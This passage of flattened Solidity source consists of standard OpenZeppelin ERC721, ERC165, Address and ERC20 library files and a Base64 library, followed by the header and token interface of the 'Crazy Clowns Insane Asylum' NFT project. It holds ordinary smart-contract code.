* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
/// @title Base64
/// @author Brecht Devos - <[email protected]>
/// @notice Provides functions for encoding/decoding base64
library Base64 {
string internal constant TABLE_ENCODE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
bytes internal constant TABLE_DECODE = hex"0000000000000000000000000000000000000000000000000000000000000000"
hex"00000000000000000000003e0000003f3435363738393a3b3c3d000000000000"
hex"00000102030405060708090a0b0c0d0e0f101112131415161718190000000000"
hex"001a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132330000000000";
function encode(bytes memory data) internal pure returns (string memory) {
if (data.length == 0) return '';
// load the table into memory
string memory table = TABLE_ENCODE;
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((data.length + 2) / 3);
// add some extra buffer at the end required for the writing
string memory result = new string(encodedLen + 32);
assembly {
// set the actual output length
mstore(result, encodedLen)
// prepare the lookup table
let tablePtr := add(table, 1)
// input ptr
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
// result ptr, jump over length
let resultPtr := add(result, 32)
// run over the input, 3 bytes at a time
for {} lt(dataPtr, endPtr) {}
{
// read 3 bytes
dataPtr := add(dataPtr, 3)
let input := mload(dataPtr)
// write 4 characters
mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))
resultPtr := add(resultPtr, 1)
mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))
resultPtr := add(resultPtr, 1)
mstore8(resultPtr, mload(add(tablePtr, and(shr( 6, input), 0x3F))))
resultPtr := add(resultPtr, 1)
mstore8(resultPtr, mload(add(tablePtr, and( input, 0x3F))))
resultPtr := add(resultPtr, 1)
}
// padding with '='
switch mod(mload(data), 3)
case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) }
case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) }
}
return result;
}
function decode(string memory _data) internal pure returns (bytes memory) {
bytes memory data = bytes(_data);
if (data.length == 0) return new bytes(0);
require(data.length % 4 == 0, "invalid base64 decoder input");
// load the table into memory
bytes memory table = TABLE_DECODE;
// every 4 characters represent 3 bytes
uint256 decodedLen = (data.length / 4) * 3;
// add some extra buffer at the end required for the writing
bytes memory result = new bytes(decodedLen + 32);
assembly {
// padding with '='
let lastBytes := mload(add(data, mload(data)))
if eq(and(lastBytes, 0xFF), 0x3d) {
decodedLen := sub(decodedLen, 1)
if eq(and(lastBytes, 0xFFFF), 0x3d3d) {
decodedLen := sub(decodedLen, 1)
}
}
// set the actual output length
mstore(result, decodedLen)
// prepare the lookup table
let tablePtr := add(table, 1)
// input ptr
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
// result ptr, jump over length
let resultPtr := add(result, 32)
// run over the input, 4 characters at a time
for {} lt(dataPtr, endPtr) {}
{
// read 4 characters
dataPtr := add(dataPtr, 4)
let input := mload(dataPtr)
// write 3 bytes
let output := add(
add(
shl(18, and(mload(add(tablePtr, and(shr(24, input), 0xFF))), 0xFF)),
shl(12, and(mload(add(tablePtr, and(shr(16, input), 0xFF))), 0xFF))),
add(
shl( 6, and(mload(add(tablePtr, and(shr( 8, input), 0xFF))), 0xFF)),
and(mload(add(tablePtr, and( input , 0xFF))), 0xFF)
)
)
mstore(resultPtr, shl(232, output))
resultPtr := add(resultPtr, 3)
}
}
return result;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT OR Apache-2.0
pragma solidity ^0.8.3;
/*
▄████▄ ██▀███ ▄▄▄ ▒███████▒▓██ ██▓
▒██▀ ▀█ ▓██ ▒ ██▒▒████▄ ▒ ▒ ▒ ▄▀░ ▒██ ██▒
▒▓█ ▄ ▓██ ░▄█ ▒▒██ ▀█▄ ░ ▒ ▄▀▒░ ▒██ ██░
▒▓▓▄ ▄██▒▒██▀▀█▄ ░██▄▄▄▄██ ▄▀▒ ░ ░ ▐██▓░
▒ ▓███▀ ░░██▓ ▒██▒ ▓█ ▓██▒▒███████▒ ░ ██▒▓░
░ ░▒ ▒ ░░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░▒▒ ▓░▒░▒ ██▒▒▒
░ ▒ ░▒ ░ ▒░ ▒ ▒▒ ░░░▒ ▒ ░ ▒ ▓██ ░▒░
░ ░░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ▒ ░░
░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░
▄████▄ ██▓ ▒█████ █ █░ ███▄ █ ██████
▒██▀ ▀█ ▓██▒ ▒██▒ ██▒▓█░ █ ░█░ ██ ▀█ █ ▒██ ▒
▒▓█ ▄ ▒██░ ▒██░ ██▒▒█░ █ ░█ ▓██ ▀█ ██▒░ ▓██▄
▒▓▓▄ ▄██▒▒██░ ▒██ ██░░█░ █ ░█ ▓██▒ ▐▌██▒ ▒ ██▒
▒ ▓███▀ ░░██████▒░ ████▓▒░░░██▒██▓ ▒██░ ▓██░▒██████▒▒
░ ░▒ ▒ ░░ ▒░▓ ░░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ▒░ ▒ ▒ ▒ ▒▓▒ ▒ ░
░ ▒ ░ ░ ▒ ░ ░ ▒ ▒░ ▒ ░ ░ ░ ░░ ░ ▒░░ ░▒ ░ ░
░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░
░
Crazy Clowns Insane Asylum
2021, V1.1
https://ccia.io
*/
interface IBalloonToken {
function DEFAULT_ADMIN_ROLE() external view returns (bytes32);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function MINTER_ROLE() external view returns (bytes32);
function addMinterRole(address _address) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function burn(address account, uint256 amount) external;
// function checkpoints ( address account, uint32 pos ) external view returns ( tuple );
function decimals() external view returns (uint8);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
function delegate(address delegatee) external;
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) external;
function delegates(address account) external view returns (address);
function getPastTotalSupply(uint256 blockNumber) external view returns (uint256);
function getPastVotes(address account, uint256 blockNumber) external view returns (uint256);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function getVotes(address account) external view returns (uint256);
function grantRole(bytes32 role, address account) external;
function hasRole(bytes32 role, address account) external view returns (bool);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function mint(address to, uint256 amount) external;
function name() external view returns (string memory);
function nonces(address owner) external view returns (uint256);
function numCheckpoints(address account) external view returns (uint32);
// function owner ( ) external view returns ( address );
function pause() external;
function paused() external view returns (bool);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
function renounceOwnership() external;
function renounceRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function supportsInterface(bytes4 interfaceId) external view returns (bool);
function symbol() external view returns (string memory);
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function transferOwnership(address newOwner) external;
function unpause() external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20.sol";
